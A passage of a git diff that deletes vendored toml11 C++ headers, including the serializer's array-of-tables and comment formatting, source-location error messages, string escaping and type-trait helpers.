-                   tmp.substr(tmp.size() - 4, 4) != "\r\n\r\n" )
-                {
-                    token += '\n';
-                }
-            }
-            else
-            {
-                token += write_comments(kv.second);
-                token += tmp;
-                token += '\n';
-            }
-        }
-        return token;
-    }
-
-    std::string make_array_of_tables(const array_type& v) const
-    {
-        // if it's not inlined, we need to add `[[table.key]]`.
-        // but if it can be inlined, we can format it as the following.
-        // ```
-        // table.key = [
-        //   {...},
-        //   # comment
-        //   {...},
-        // ]
-        // ```
-        // This function checks if inlinization is possible or not, and then
-        // format the array-of-tables in a proper way.
-        //
-        // Note about comments:
-        //
-        // If the array itself has a comment (value_has_comment_ == true), we
-        // should try to make it inline.
-        // ```toml
-        // # comment about array
-        // array = [
-        //   # comment about table element
-        //   {of = "table"}
-        // ]
-        // ```
-        // If it is formatted as a multiline table, the two comments becomes
-        // indistinguishable.
-        // ```toml
-        // # comment about array
-        // # comment about table element
-        // [[array]]
-        // of = "table"
-        // ```
-        // So we need to try to make it inline, and it force-inlines regardless
-        // of the line width limit.
-        //     It may fail if the element of a table has comment. In that case,
-        // the array-of-tables will be formatted as a multiline table.
-        if(this->can_be_inlined_ || this->value_has_comment_)
-        {
-            std::string token;
-            if(!keys_.empty())
-            {
-                token += format_key(keys_.back());
-                token += " = ";
-            }
-
-            bool failed = false;
-            token += "[\n";
-            for(const auto& item : v)
-            {
-                // if an element of the table has a comment, the table
-                // cannot be inlined.
-                if(this->has_comment_inside(item.as_table()))
-                {
-                    failed = true;
-                    break;
-                }
-                // write comments for the table itself
-                token += write_comments(item);
-
-                const auto t = this->make_inline_table(item.as_table());
-
-                if(t.size() + 1 > width_ || // +1 for the last comma {...},
-                   std::find(t.cbegin(), t.cend(), '\n') != t.cend())
-                {
-                    // if the value itself has a comment, ignore the line width limit
-                    if( ! this->value_has_comment_)
-                    {
-                        failed = true;
-                        break;
-                    }
-                }
-                token += t;
-                token += ",\n";
-            }
-
-            if( ! failed)
-            {
-                token += "]\n";
-                return token;
-            }
-            // if failed, serialize them as [[array.of.tables]].
-        }
-
-        std::string token;
-        for(const auto& item : v)
-        {
-            token += write_comments(item);
-            token += "[[";
-            token += format_keys(keys_);
-            token += "]]\n";
-            token += this->make_multiline_table(item.as_table());
-        }
-        return token;
-    }
-
-    std::string write_comments(const value_type& v) const
-    {
-        std::string retval;
-        if(this->no_comment_) {return retval;}
-
-        for(const auto& c : v.comments())
-        {
-            retval += '#';
-            retval += c;
-            retval += '\n';
-        }
-        return retval;
-    }
-
-    bool is_array_of_tables(const value_type& v) const
-    {
-        if(!v.is_array() || v.as_array().empty()) {return false;}
-        return is_array_of_tables(v.as_array());
-    }
-    bool is_array_of_tables(const array_type& v) const
-    {
-        // Since TOML v0.5.0, heterogeneous arrays are allowed. So we need to
-        // check all the element in an array to check if the array is an array
-        // of tables.
-        return std::all_of(v.begin(), v.end(), [](const value_type& elem) {
-                return elem.is_table();
-            });
-    }
-
-  private:
-
-    bool        can_be_inlined_;
-    bool        no_comment_;
-    bool        value_has_comment_;
-    int         float_prec_;
-    std::size_t width_;
-    std::vector<toml::key> keys_;
-};
-
-template<typename C,
-         template<typename ...> class M, template<typename ...> class V>
-std::string
-format(const basic_value<C, M, V>& v, std::size_t w = 80u,
-       int fprec = std::numeric_limits<toml::floating>::max_digits10,
-       bool no_comment = false, bool force_inline = false)
-{
-    using value_type = basic_value<C, M, V>;
-    // if value is a table, it is considered to be a root object.
-    // the root object can't be an inline table.
-    if(v.is_table())
-    {
-        std::ostringstream oss;
-        if(!v.comments().empty())
-        {
-            oss << v.comments();
-            oss << '\n'; // to split the file comment from the first element
-        }
-        const auto serialized = visit(serializer<value_type>(w, fprec, false, no_comment), v);
-        oss << serialized;
-        return oss.str();
-    }
-    return visit(serializer<value_type>(w, fprec, force_inline), v);
-}
-
-namespace detail
-{
-template<typename charT, typename traits>
-int comment_index(std::basic_ostream<charT, traits>&)
-{
-    static const int index = std::ios_base::xalloc();
-    return index;
-}
-} // detail
-
-template<typename charT, typename traits>
-std::basic_ostream<charT, traits>&
-nocomment(std::basic_ostream<charT, traits>& os)
-{
-    // by default, it is zero. and by default, it shows comments.
-    os.iword(detail::comment_index(os)) = 1;
-    return os;
-}
-
-template<typename charT, typename traits>
-std::basic_ostream<charT, traits>&
-showcomment(std::basic_ostream<charT, traits>& os)
-{
-    // by default, it is zero. and by default, it shows comments.
-    os.iword(detail::comment_index(os)) = 0;
-    return os;
-}
-
-template<typename charT, typename traits, typename C,
-         template<typename ...> class M, template<typename ...> class V>
-std::basic_ostream<charT, traits>&
-operator<<(std::basic_ostream<charT, traits>& os, const basic_value<C, M, V>& v)
-{
-    using value_type = basic_value<C, M, V>;
-
-    // get status of std::setw().
-    const auto w     = static_cast<std::size_t>(os.width());
-    const int  fprec = static_cast<int>(os.precision());
-    os.width(0);
-
-    // by default, iword is initialized by 0. And by default, toml11 outputs
-    // comments. So `0` means showcomment. 1 means nocommnet.
-    const bool no_comment = (1 == os.iword(detail::comment_index(os)));
-
-    if(!no_comment && v.is_table() && !v.comments().empty())
-    {
-        os << v.comments();
-        os << '\n'; // to split the file comment from the first element
-    }
-    // the root object can't be an inline table. so pass `false`.
-    const auto serialized = visit(serializer<value_type>(w, fprec, no_comment, false), v);
-    os << serialized;
-
-    // if v is a non-table value, and has only one comment, then
-    // put a comment just after a value. in the following way.
-    //
-    // ```toml
-    // key = "value" # comment.
-    // ```
-    //
-    // Since the top-level toml object is a table, one who want to put a
-    // non-table toml value must use this in a following way.
-    //
-    // ```cpp
-    // toml::value v;
-    // std::cout << "user-defined-key = " << v << std::endl;
-    // ```
-    //
-    // In this case, it is impossible to put comments before key-value pair.
-    // The only way to preserve comments is to put all of them after a value.
-    if(!no_comment && !v.is_table() && !v.comments().empty())
-    {
-        os << " #";
-        for(const auto& c : v.comments()) {os << c;}
-    }
-    return os;
-}
-
-} // toml
-#endif// TOML11_SERIALIZER_HPP
diff --git a/src/toml11/toml/source_location.hpp b/src/toml11/toml/source_location.hpp
deleted file mode 100644
index fa175b5b48d..00000000000
--- a/src/toml11/toml/source_location.hpp
+++ /dev/null
@@ -1,233 +0,0 @@
-//     Copyright Toru Niina 2019.
-// Distributed under the MIT License.
-#ifndef TOML11_SOURCE_LOCATION_HPP
-#define TOML11_SOURCE_LOCATION_HPP
-#include <cstdint>
-#include <sstream>
-
-#include "region.hpp"
-
-namespace toml
-{
-
-// A struct to contain location in a toml file.
-// The interface imitates std::experimental::source_location,
-// but not completely the same.
-//
-// It would be constructed by toml::value. It can be used to generate
-// user-defined error messages.
-//
-// - std::uint_least32_t line() const noexcept
-//   - returns the line number where the region is on.
-// - std::uint_least32_t column() const noexcept
-//   - returns the column number where the region starts.
-// - std::uint_least32_t region() const noexcept
-//   - returns the size of the region.
-//
-// +-- line()       +-- region of interest (region() == 9)
-// v            .---+---.
-// 12 | value = "foo bar"
-//              ^
-//              +-- column()
-//
-// - std::string const& file_name() const noexcept;
-//   - name of the file.
-// - std::string const& line_str() const noexcept;
-//   - the whole line that contains the region of interest.
-//
-struct source_location
-{
-  public:
-
-    source_location()
-        : line_num_(1), column_num_(1), region_size_(1),
-          file_name_("unknown file"), line_str_("")
-    {}
-
-    explicit source_location(const detail::region_base* reg)
-        : line_num_(1), column_num_(1), region_size_(1),
-          file_name_("unknown file"), line_str_("")
-    {
-        if(reg)
-        {
-            if(reg->line_num() != detail::region_base().line_num())
-            {
-                line_num_ = static_cast<std::uint_least32_t>(
-                        std::stoul(reg->line_num()));
-            }
-            column_num_  = static_cast<std::uint_least32_t>(reg->before() + 1);
-            region_size_ = static_cast<std::uint_least32_t>(reg->size());
-            file_name_   = reg->name();
-            line_str_    = reg->line();
-        }
-    }
-
-    explicit source_location(const detail::region& reg)
-        : line_num_(static_cast<std::uint_least32_t>(std::stoul(reg.line_num()))),
-          column_num_(static_cast<std::uint_least32_t>(reg.before() + 1)),
-          region_size_(static_cast<std::uint_least32_t>(reg.size())),
-          file_name_(reg.name()),
-          line_str_ (reg.line())
-    {}
-    explicit source_location(const detail::location& loc)
-        : line_num_(static_cast<std::uint_least32_t>(std::stoul(loc.line_num()))),
-          column_num_(static_cast<std::uint_least32_t>(loc.before() + 1)),
-          region_size_(static_cast<std::uint_least32_t>(loc.size())),
-          file_name_(loc.name()),
-          line_str_ (loc.line())
-    {}
-
-    ~source_location() = default;
-    source_location(source_location const&) = default;
-    source_location(source_location &&)     = default;
-    source_location& operator=(source_location const&) = default;
-    source_location& operator=(source_location &&)     = default;
-
-    std::uint_least32_t line()      const noexcept {return line_num_;}
-    std::uint_least32_t column()    const noexcept {return column_num_;}
-    std::uint_least32_t region()    const noexcept {return region_size_;}
-
-    std::string const&  file_name() const noexcept {return file_name_;}
-    std::string const&  line_str()  const noexcept {return line_str_;}
-
-  private:
-
-    std::uint_least32_t line_num_;
-    std::uint_least32_t column_num_;
-    std::uint_least32_t region_size_;
-    std::string         file_name_;
-    std::string         line_str_;
-};
-
-namespace detail
-{
-
-// internal error message generation.
-inline std::string format_underline(const std::string& message,
-        const std::vector<std::pair<source_location, std::string>>& loc_com,
-        const std::vector<std::string>& helps = {},
-        const bool colorize = TOML11_ERROR_MESSAGE_COLORIZED)
-{
-    std::size_t line_num_width = 0;
-    for(const auto& lc : loc_com)
-    {
-        std::uint_least32_t line = lc.first.line();
-        std::size_t        digit = 0;
-        while(line != 0)
-        {
-            line  /= 10;
-            digit +=  1;
-        }
-        line_num_width = (std::max)(line_num_width, digit);
-    }
-    // 1 is the minimum width
-    line_num_width = std::max<std::size_t>(line_num_width, 1);
-
-    std::ostringstream retval;
-
-    if(colorize)
-    {
-        retval << color::colorize; // turn on ANSI color
-    }
-
-    // XXX
-    // Here, before `colorize` support, it does not output `[error]` prefix
-    // automatically. So some user may output it manually and this change may
-    // duplicate the prefix. To avoid it, check the first 7 characters and
-    // if it is "[error]", it removes that part from the message shown.
-    if(message.size() > 7 && message.substr(0, 7) == "[error]")
-    {
-        retval << color::bold << color::red << "[error]" << color::reset
-               << color::bold << message.substr(7) << color::reset << '\n';
-    }
-    else
-    {
-        retval << color::bold << color::red << "[error] " << color::reset
-               << color::bold << message << color::reset << '\n';
-    }
-
-    const auto format_one_location = [line_num_width]
-        (std::ostringstream& oss,
-         const source_location& loc, const std::string& comment) -> void
-        {
-            oss << ' ' << color::bold << color::blue
-                << std::setw(static_cast<int>(line_num_width))
-                << std::right << loc.line() << " | "  << color::reset
-                << loc.line_str() << '\n';
-
-            oss << make_string(line_num_width + 1, ' ')
-                << color::bold << color::blue << " | " << color::reset
-                << make_string(loc.column()-1 /*1-origin*/, ' ');
-
-            if(loc.region() == 1)
-            {
-                // invalid
-                // ^------
-                oss << color::bold << color::red << "^---" << color::reset;
-            }
-            else
-            {
-                // invalid
-                // ~~~~~~~
-                const auto underline_len = (std::min)(
-                    static_cast<std::size_t>(loc.region()), loc.line_str().size());
-                oss << color::bold << color::red
-                    << make_string(underline_len, '~') << color::reset;
-            }
-            oss << ' ';
-            oss << comment;
-            return;
-        };
-
-    assert(!loc_com.empty());
-
-    // --> example.toml
-    //   |
-    retval << color::bold << color::blue << " --> " << color::reset
-           << loc_com.front().first.file_name() << '\n';
-    retval << make_string(line_num_width + 1, ' ')
-           << color::bold << color::blue << " |\n"  << color::reset;
-    // 1 | key value
-    //   |    ^--- missing =
-    format_one_location(retval, loc_com.front().first, loc_com.front().second);
-
-    // process the rest of the locations
-    for(std::size_t i=1; i<loc_com.size(); ++i)
-    {
-        const auto& prev = loc_com.at(i-1);
-        const auto& curr = loc_com.at(i);
-
-        retval << '\n';
-        // if the filenames are the same, print "..."
-        if(prev.first.file_name() == curr.first.file_name())
-        {
-            retval << color::bold << color::blue << " ...\n" << color::reset;
-        }
-        else // if filename differs, print " --> filename.toml" again
-        {
-            retval << color::bold << color::blue << " --> " << color::reset
-                   << curr.first.file_name() << '\n';
-            retval << make_string(line_num_width + 1, ' ')
-                   << color::bold << color::blue << " |\n"  << color::reset;
-        }
-
-        format_one_location(retval, curr.first, curr.second);
-    }
-
-    if(!helps.empty())
-    {
-        retval << '\n';
-        retval << make_string(line_num_width + 1, ' ');
-        retval << color::bold << color::blue << " |" << color::reset;
-        for(const auto& help : helps)
-        {
-            retval << color::bold << "\nHint: " << color::reset;
-            retval << help;
-        }
-    }
-    return retval.str();
-}
-
-} // detail
-} // toml
-#endif// TOML11_SOURCE_LOCATION_HPP
diff --git a/src/toml11/toml/storage.hpp b/src/toml11/toml/storage.hpp
deleted file mode 100644
index 202f9035fd3..00000000000
--- a/src/toml11/toml/storage.hpp
+++ /dev/null
@@ -1,43 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_STORAGE_HPP
-#define TOML11_STORAGE_HPP
-#include "utility.hpp"
-
-namespace toml
-{
-namespace detail
-{
-
-// this contains pointer and deep-copy the content if copied.
-// to avoid recursive pointer.
-template<typename T>
-struct storage
-{
-    using value_type = T;
-
-    explicit storage(value_type const& v): ptr(toml::make_unique<T>(v)) {}
-    explicit storage(value_type&&      v): ptr(toml::make_unique<T>(std::move(v))) {}
-    ~storage() = default;
-    storage(const storage& rhs): ptr(toml::make_unique<T>(*rhs.ptr)) {}
-    storage& operator=(const storage& rhs)
-    {
-        this->ptr = toml::make_unique<T>(*rhs.ptr);
-        return *this;
-    }
-    storage(storage&&) = default;
-    storage& operator=(storage&&) = default;
-
-    bool is_ok() const noexcept {return static_cast<bool>(ptr);}
-
-    value_type&       value() &      noexcept {return *ptr;}
-    value_type const& value() const& noexcept {return *ptr;}
-    value_type&&      value() &&     noexcept {return std::move(*ptr);}
-
-  private:
-    std::unique_ptr<value_type> ptr;
-};
-
-} // detail
-} // toml
-#endif// TOML11_STORAGE_HPP
diff --git a/src/toml11/toml/string.hpp b/src/toml11/toml/string.hpp
deleted file mode 100644
index 5136d8c568c..00000000000
--- a/src/toml11/toml/string.hpp
+++ /dev/null
@@ -1,225 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_STRING_HPP
-#define TOML11_STRING_HPP
-#include <cstdint>
-
-#include <algorithm>
-#include <string>
-
-#if __cplusplus >= 201703L
-#if __has_include(<string_view>)
-#define TOML11_USING_STRING_VIEW 1
-#include <string_view>
-#endif
-#endif
-
-namespace toml
-{
-
-enum class string_t : std::uint8_t
-{
-    basic   = 0,
-    literal = 1,
-};
-
-struct string
-{
-    string()  = default;
-    ~string() = default;
-    string(const string& s) = default;
-    string(string&& s)      = default;
-    string& operator=(const string& s) = default;
-    string& operator=(string&& s)      = default;
-
-    string(const std::string& s): kind(string_t::basic), str(s){}
-    string(const std::string& s, string_t k):   kind(k), str(s){}
-    string(const char* s):        kind(string_t::basic), str(s){}
-    string(const char* s,        string_t k):   kind(k), str(s){}
-
-    string(std::string&& s): kind(string_t::basic), str(std::move(s)){}
-    string(std::string&& s, string_t k):   kind(k), str(std::move(s)){}
-
-    string& operator=(const std::string& s)
-    {kind = string_t::basic; str = s; return *this;}
-    string& operator=(std::string&& s)
-    {kind = string_t::basic; str = std::move(s); return *this;}
-
-    operator std::string&       () &      noexcept {return str;}
-    operator std::string const& () const& noexcept {return str;}
-    operator std::string&&      () &&     noexcept {return std::move(str);}
-
-    string& operator+=(const char*        rhs) {str += rhs; return *this;}
-    string& operator+=(const char         rhs) {str += rhs; return *this;}
-    string& operator+=(const std::string& rhs) {str += rhs; return *this;}
-    string& operator+=(const string&      rhs) {str += rhs.str; return *this;}
-
-#if defined(TOML11_USING_STRING_VIEW) && TOML11_USING_STRING_VIEW>0
-    explicit string(std::string_view s): kind(string_t::basic), str(s){}
-    string(std::string_view s, string_t k): kind(k), str(s){}
-
-    string& operator=(std::string_view s)
-    {kind = string_t::basic; str = s; return *this;}
-
-    explicit operator std::string_view() const noexcept
-    {return std::string_view(str);}
-
-    string& operator+=(const std::string_view& rhs) {str += rhs; return *this;}
-#endif
-
-    string_t    kind;
-    std::string str;
-};
-
-inline bool operator==(const string& lhs, const string& rhs)
-{
-    return lhs.kind == rhs.kind && lhs.str == rhs.str;
-}
-inline bool operator!=(const string& lhs, const string& rhs)
-{
-    return !(lhs == rhs);
-}
-inline bool operator<(const string& lhs, const string& rhs)
-{
-    return (lhs.kind == rhs.kind) ? (lhs.str < rhs.str) : (lhs.kind < rhs.kind);
-}
-inline bool operator>(const string& lhs, const string& rhs)
-{
-    return rhs < lhs;
-}
-inline bool operator<=(const string& lhs, const string& rhs)
-{
-    return !(rhs < lhs);
-}
-inline bool operator>=(const string& lhs, const string& rhs)
-{
-    return !(lhs < rhs);
-}
-
-inline bool
-operator==(const string& lhs, const std::string& rhs) {return lhs.str == rhs;}
-inline bool
-operator!=(const string& lhs, const std::string& rhs) {return lhs.str != rhs;}
-inline bool
-operator< (const string& lhs, const std::string& rhs) {return lhs.str <  rhs;}
-inline bool
-operator> (const string& lhs, const std::string& rhs) {return lhs.str >  rhs;}
-inline bool
-operator<=(const string& lhs, const std::string& rhs) {return lhs.str <= rhs;}
-inline bool
-operator>=(const string& lhs, const std::string& rhs) {return lhs.str >= rhs;}
-
-inline bool
-operator==(const std::string& lhs, const string& rhs) {return lhs == rhs.str;}
-inline bool
-operator!=(const std::string& lhs, const string& rhs) {return lhs != rhs.str;}
-inline bool
-operator< (const std::string& lhs, const string& rhs) {return lhs <  rhs.str;}
-inline bool
-operator> (const std::string& lhs, const string& rhs) {return lhs >  rhs.str;}
-inline bool
-operator<=(const std::string& lhs, const string& rhs) {return lhs <= rhs.str;}
-inline bool
-operator>=(const std::string& lhs, const string& rhs) {return lhs >= rhs.str;}
-
-inline bool
-operator==(const string& lhs, const char* rhs) {return lhs.str == std::string(rhs);}
-inline bool
-operator!=(const string& lhs, const char* rhs) {return lhs.str != std::string(rhs);}
-inline bool
-operator< (const string& lhs, const char* rhs) {return lhs.str <  std::string(rhs);}
-inline bool
-operator> (const string& lhs, const char* rhs) {return lhs.str >  std::string(rhs);}
-inline bool
-operator<=(const string& lhs, const char* rhs) {return lhs.str <= std::string(rhs);}
-inline bool
-operator>=(const string& lhs, const char* rhs) {return lhs.str >= std::string(rhs);}
-
-inline bool
-operator==(const char* lhs, const string& rhs) {return std::string(lhs) == rhs.str;}
-inline bool
-operator!=(const char* lhs, const string& rhs) {return std::string(lhs) != rhs.str;}
-inline bool
-operator< (const char* lhs, const string& rhs) {return std::string(lhs) <  rhs.str;}
-inline bool
-operator> (const char* lhs, const string& rhs) {return std::string(lhs) >  rhs.str;}
-inline bool
-operator<=(const char* lhs, const string& rhs) {return std::string(lhs) <= rhs.str;}
-inline bool
-operator>=(const char* lhs, const string& rhs) {return std::string(lhs) >= rhs.str;}
-
-template<typename charT, typename traits>
-std::basic_ostream<charT, traits>&
-operator<<(std::basic_ostream<charT, traits>& os, const string& s)
-{
-    if(s.kind == string_t::basic)
-    {
-        if(std::find(s.str.cbegin(), s.str.cend(), '\n') != s.str.cend())
-        {
-            // it contains newline. make it multiline string.
-            os << "\"\"\"\n";
-            for(auto i=s.str.cbegin(), e=s.str.cend(); i!=e; ++i)
-            {
-                switch(*i)
-                {
-                    case '\\': {os << "\\\\"; break;}
-                    case '\"': {os << "\\\""; break;}
-                    case '\b': {os << "\\b";  break;}
-                    case '\t': {os << "\\t";  break;}
-                    case '\f': {os << "\\f";  break;}
-                    case '\n': {os << '\n';   break;}
-                    case '\r':
-                    {
-                        // since it is a multiline string,
-                        // CRLF is not needed to be escaped.
-                        if(std::next(i) != e && *std::next(i) == '\n')
-                        {
-                            os << "\r\n";
-                            ++i;
-                        }
-                        else
-                        {
-                            os << "\\r";
-                        }
-                        break;
-                    }
-                    default: {os << *i; break;}
-                }
-            }
-            os << "\\\n\"\"\"";
-            return os;
-        }
-        // no newline. make it inline.
-        os << "\"";
-        for(const auto c : s.str)
-        {
-            switch(c)
-            {
-                case '\\': {os << "\\\\"; break;}
-                case '\"': {os << "\\\""; break;}
-                case '\b': {os << "\\b";  break;}
-                case '\t': {os << "\\t";  break;}
-                case '\f': {os << "\\f";  break;}
-                case '\n': {os << "\\n";  break;}
-                case '\r': {os << "\\r";  break;}
-                default  : {os << c;      break;}
-            }
-        }
-        os << "\"";
-        return os;
-    }
-    // the string `s` is literal-string.
-    if(std::find(s.str.cbegin(), s.str.cend(), '\n') != s.str.cend() ||
-       std::find(s.str.cbegin(), s.str.cend(), '\'') != s.str.cend() )
-    {
-        // contains newline or single quote. make it multiline.
-        os << "'''\n" << s.str << "'''";
-        return os;
-    }
-    // normal literal string
-    os << '\'' << s.str << '\'';
-    return os;
-}
-
-} // toml
-#endif// TOML11_STRING_H
diff --git a/src/toml11/toml/traits.hpp b/src/toml11/toml/traits.hpp
deleted file mode 100644
index 5495c93b244..00000000000
--- a/src/toml11/toml/traits.hpp
+++ /dev/null
@@ -1,327 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_TRAITS_HPP
-#define TOML11_TRAITS_HPP
-
-#include "from.hpp"
-#include "into.hpp"
-
-#include <chrono>
-#include <forward_list>
-#include <string>
-#include <tuple>
-#include <type_traits>
-#include <utility>
-
-#if __cplusplus >= 201703L
-#if __has_include(<string_view>)
-#include <string_view>
-#endif // has_include(<string_view>)
-#endif // cplusplus   >= C++17
-
-namespace toml
-{
-template<typename C, template<typename ...> class T, template<typename ...> class A>
-class basic_value;
-
-namespace detail
-{
-// ---------------------------------------------------------------------------
-// check whether type T is a kind of container/map class
-
-struct has_iterator_impl
-{
-    template<typename T> static std::true_type  check(typename T::iterator*);
-    template<typename T> static std::false_type check(...);
-};
-struct has_value_type_impl
-{
-    template<typename T> static std::true_type  check(typename T::value_type*);
-    template<typename T> static std::false_type check(...);
-};
-struct has_key_type_impl
-{
-    template<typename T> static std::true_type  check(typename T::key_type*);
-    template<typename T> static std::false_type check(...);
-};
-struct has_mapped_type_impl
-{
-    template<typename T> static std::true_type  check(typename T::mapped_type*);
-    template<typename T> static std::false_type check(...);
-};
-struct has_reserve_method_impl
-{
-    template<typename T> static std::false_type check(...);
-    template<typename T> static std::true_type  check(
-        decltype(std::declval<T>().reserve(std::declval<std::size_t>()))*);
-};
-struct has_push_back_method_impl
-{
-    template<typename T> static std::false_type check(...);
-    template<typename T> static std::true_type  check(
-        decltype(std::declval<T>().push_back(std::declval<typename T::value_type>()))*);
-};
-struct is_comparable_impl
-{
-    template<typename T> static std::false_type check(...);
-    template<typename T> static std::true_type  check(
-        decltype(std::declval<T>() < std::declval<T>())*);
-};
-
-struct has_from_toml_method_impl
-{
-    template<typename T, typename C,
-             template<typename ...> class Tb, template<typename ...> class A>
-    static std::true_type  check(
-        decltype(std::declval<T>().from_toml(
-                std::declval<::toml::basic_value<C, Tb, A>>()))*);
-
-    template<typename T, typename C,
-             template<typename ...> class Tb, template<typename ...> class A>
-    static std::false_type check(...);
-};
-struct has_into_toml_method_impl
-{
-    template<typename T>
-    static std::true_type  check(decltype(std::declval<T>().into_toml())*);
-    template<typename T>
-    static std::false_type check(...);
-};
-
-struct has_specialized_from_impl
-{
-    template<typename T>
-    static std::false_type check(...);
-    template<typename T, std::size_t S = sizeof(::toml::from<T>)>
-    static std::true_type check(::toml::from<T>*);
-};
-struct has_specialized_into_impl
-{
-    template<typename T>
-    static std::false_type check(...);
-    template<typename T, std::size_t S = sizeof(::toml::into<T>)>
-    static std::true_type check(::toml::from<T>*);
-};
-
-
-/// Intel C++ compiler can not use decltype in parent class declaration, here
-/// is a hack to work around it. https://stackoverflow.com/a/23953090/4692076
-#ifdef __INTEL_COMPILER
-#define decltype(...) std::enable_if<true, decltype(__VA_ARGS__)>::type
-#endif
-
-template<typename T>
-struct has_iterator    : decltype(has_iterator_impl::check<T>(nullptr)){};
-template<typename T>
-struct has_value_type  : decltype(has_value_type_impl::check<T>(nullptr)){};
-template<typename T>
-struct has_key_type    : decltype(has_key_type_impl::check<T>(nullptr)){};
-template<typename T>
-struct has_mapped_type : decltype(has_mapped_type_impl::check<T>(nullptr)){};
-template<typename T>
-struct has_reserve_method : decltype(has_reserve_method_impl::check<T>(nullptr)){};
-template<typename T>
-struct has_push_back_method : decltype(has_push_back_method_impl::check<T>(nullptr)){};
-template<typename T>
-struct is_comparable : decltype(is_comparable_impl::check<T>(nullptr)){};
-
-template<typename T, typename C,
-         template<typename ...> class Tb, template<typename ...> class A>
-struct has_from_toml_method
-: decltype(has_from_toml_method_impl::check<T, C, Tb, A>(nullptr)){};
-
-template<typename T>
-struct has_into_toml_method
-: decltype(has_into_toml_method_impl::check<T>(nullptr)){};
-
-template<typename T>
-struct has_specialized_from : decltype(has_specialized_from_impl::check<T>(nullptr)){};
-template<typename T>
-struct has_specialized_into : decltype(has_specialized_into_impl::check<T>(nullptr)){};
-
-#ifdef __INTEL_COMPILER
-#undef decltype
-#endif
-
-// ---------------------------------------------------------------------------
-// C++17 and/or/not
-
-#if __cplusplus >= 201703L
-
-using std::conjunction;
-using std::disjunction;
-using std::negation;
-
-#else
-
-template<typename ...> struct conjunction : std::true_type{};
-template<typename T>   struct conjunction<T> : T{};
-template<typename T, typename ... Ts>
-struct conjunction<T, Ts...> :
-    std::conditional<static_cast<bool>(T::value), conjunction<Ts...>, T>::type
-{};
-
-template<typename ...> struct disjunction : std::false_type{};
-template<typename T>   struct disjunction<T> : T {};
-template<typename T, typename ... Ts>
-struct disjunction<T, Ts...> :
-    std::conditional<static_cast<bool>(T::value), T, disjunction<Ts...>>::type
-{};
-
-template<typename T>
-struct negation : std::integral_constant<bool, !static_cast<bool>(T::value)>{};
-
-#endif
-
-// ---------------------------------------------------------------------------
-// type checkers
-
-template<typename T> struct is_std_pair : std::false_type{};
-template<typename T1, typename T2>
-struct is_std_pair<std::pair<T1, T2>> : std::true_type{};
-
-template<typename T> struct is_std_tuple : std::false_type{};
-template<typename ... Ts>
-struct is_std_tuple<std::tuple<Ts...>> : std::true_type{};
-
-template<typename T> struct is_std_forward_list : std::false_type{};
-template<typename T>
-struct is_std_forward_list<std::forward_list<T>> : std::true_type{};
-
-template<typename T> struct is_chrono_duration: std::false_type{};
-template<typename Rep, typename Period>
-struct is_chrono_duration<std::chrono::duration<Rep, Period>>: std::true_type{};
-
-template<typename T>
-struct is_map : conjunction< // map satisfies all the following conditions
-    has_iterator<T>,         // has T::iterator
-    has_value_type<T>,       // has T::value_type
-    has_key_type<T>,         // has T::key_type
-    has_mapped_type<T>       // has T::mapped_type
-    >{};
-template<typename T> struct is_map<T&>                : is_map<T>{};
-template<typename T> struct is_map<T const&>          : is_map<T>{};
-template<typename T> struct is_map<T volatile&>       : is_map<T>{};
-template<typename T> struct is_map<T const volatile&> : is_map<T>{};
-
-template<typename T>
-struct is_container : conjunction<
-    negation<is_map<T>>,                         // not a map
-    negation<std::is_same<T, std::string>>,      // not a std::string
-#if __cplusplus >= 201703L
-#if __has_include(<string_view>)
-    negation<std::is_same<T, std::string_view>>, // not a std::string_view
-#endif // has_include(<string_view>)
-#endif
-    has_iterator<T>,                             // has T::iterator
-    has_value_type<T>                            // has T::value_type
-    >{};
-template<typename T> struct is_container<T&>                : is_container<T>{};
-template<typename T> struct is_container<T const&>          : is_container<T>{};
-template<typename T> struct is_container<T volatile&>       : is_container<T>{};
-template<typename T> struct is_container<T const volatile&> : is_container<T>{};
-
-template<typename T>
-struct is_basic_value: std::false_type{};
-template<typename T> struct is_basic_value<T&>                : is_basic_value<T>{};
-template<typename T> struct is_basic_value<T const&>          : is_basic_value<T>{};
-template<typename T> struct is_basic_value<T volatile&>       : is_basic_value<T>{};
-template<typename T> struct is_basic_value<T const volatile&> : is_basic_value<T>{};
-template<typename C, template<typename ...> class M, template<typename ...> class V>
-struct is_basic_value<::toml::basic_value<C, M, V>>: std::true_type{};
-
-// ---------------------------------------------------------------------------
-// C++14 index_sequence
-
-#if __cplusplus >= 201402L
-
-using std::index_sequence;
-using std::make_index_sequence;
-
-#else
-
-template<std::size_t ... Ns> struct index_sequence{};
-
-template<typename IS, std::size_t N> struct push_back_index_sequence{};
-template<std::size_t N, std::size_t ... Ns>
-struct push_back_index_sequence<index_sequence<Ns...>, N>
-{
-    typedef index_sequence<Ns..., N> type;
-};
-
-template<std::size_t N>
-struct index_sequence_maker
-{
-    typedef typename push_back_index_sequence<
-        typename index_sequence_maker<N-1>::type, N>::type type;
-};
-template<>
-struct index_sequence_maker<0>
-{
-    typedef index_sequence<0> type;
-};
-template<std::size_t N>
-using make_index_sequence = typename index_sequence_maker<N-1>::type;
-
-#endif // __cplusplus >= 2014
-
-// ---------------------------------------------------------------------------
-// C++14 enable_if_t
-
-#if __cplusplus >= 201402L
-
-using std::enable_if_t;
-
-#else
-
-template<bool B, typename T>
-using enable_if_t = typename std::enable_if<B, T>::type;
-
-#endif // __cplusplus >= 2014
-
-// ---------------------------------------------------------------------------
-// return_type_of_t
-
-#if __cplusplus >= 201703L && defined(__cpp_lib_is_invocable) && __cpp_lib_is_invocable>=201703
-
-template<typename F, typename ... Args>
-using return_type_of_t = std::invoke_result_t<F, Args...>;
-
-#else
-// result_of is deprecated after C++17
-template<typename F, typename ... Args>
-using return_type_of_t = typename std::result_of<F(Args...)>::type;
-
-#endif
-
-// ---------------------------------------------------------------------------
-// is_string_literal
-//
-// to use this, pass `typename remove_reference<T>::type` to T.
-
-template<typename T>
-struct is_string_literal:
-disjunction<
-    std::is_same<const char*, T>,
-    conjunction<
-        std::is_array<T>,
-        std::is_same<const char, typename std::remove_extent<T>::type>
-        >
-    >{};
-
-// ---------------------------------------------------------------------------
-// C++20 remove_cvref_t
-
-template<typename T>
-struct remove_cvref
-{
-    using type = typename std::remove_cv<
-        typename std::remove_reference<T>::type>::type;
-};
-
-template<typename T>
